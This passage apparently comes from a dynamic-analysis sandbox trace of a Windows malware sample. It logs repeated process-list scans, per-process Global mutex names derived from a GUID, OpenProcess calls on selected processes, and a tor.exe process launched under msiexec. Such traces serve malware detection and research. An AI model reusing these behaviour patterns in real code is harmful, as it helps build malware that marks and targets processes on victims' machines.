lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0114.253] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0114.254] CloseHandle (hObject=0x13d8) returned 1 [0114.254] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0114.434] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13d8 [0114.436] Process32FirstW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.437] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0114.438] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0114.439] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.440] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0114.440] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.441] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0114.442] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0114.443] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0114.444] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0114.445] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.445] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.446] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.447] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.448] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.449] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0114.450] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.450] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.451] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0114.452] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.453] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.454] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0114.454] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13e0 [0114.454] GetLastError () returned 0xb7 [0114.454] CloseHandle (hObject=0x13e0) returned 1 [0114.454] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0114.455] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0114.455] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13e0 [0114.455] GetLastError () returned 0xb7 [0114.455] CloseHandle (hObject=0x13e0) returned 1 [0114.455] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0114.455] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.456] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0114.456] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13e0 [0114.456] GetLastError () returned 0x0 [0114.456] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0114.456] CloseHandle (hObject=0x13e0) returned 1 [0114.456] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.457] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0114.457] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13e0 [0114.457] GetLastError () returned 0x0 [0114.457] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0114.457] CloseHandle (hObject=0x13e0) returned 1 [0114.457] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0114.458] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0114.458] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13e0 [0114.458] GetLastError () returned 0xb7 [0114.458] CloseHandle (hObject=0x13e0) returned 1 [0114.458] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.459] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0114.459] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13e0 [0114.459] GetLastError () returned 0x0 [0114.459] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0114.459] CloseHandle (hObject=0x13e0) returned 1 [0114.459] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0114.460] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0114.461] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0114.462] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0114.462] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0114.463] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0114.464] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0114.465] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0114.466] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0114.467] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0114.468] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0114.469] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0114.469] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0114.470] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0114.471] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0114.472] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0114.473] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0114.474] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0114.475] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0114.475] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0114.476] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0114.477] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.478] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0114.479] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.480] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0114.574] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0114.575] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0114.576] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0114.577] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0114.578] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.578] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0114.579] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0114.579] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0114.579] GetLastError () returned 0xb7 [0114.580] CloseHandle (hObject=0x13e0) returned 1 [0114.580] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0114.580] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0114.581] CloseHandle (hObject=0x13d8) returned 1 [0114.581] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0114.761] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13d8 [0114.764] Process32FirstW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.764] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0114.765] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0114.766] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.767] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0114.768] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, 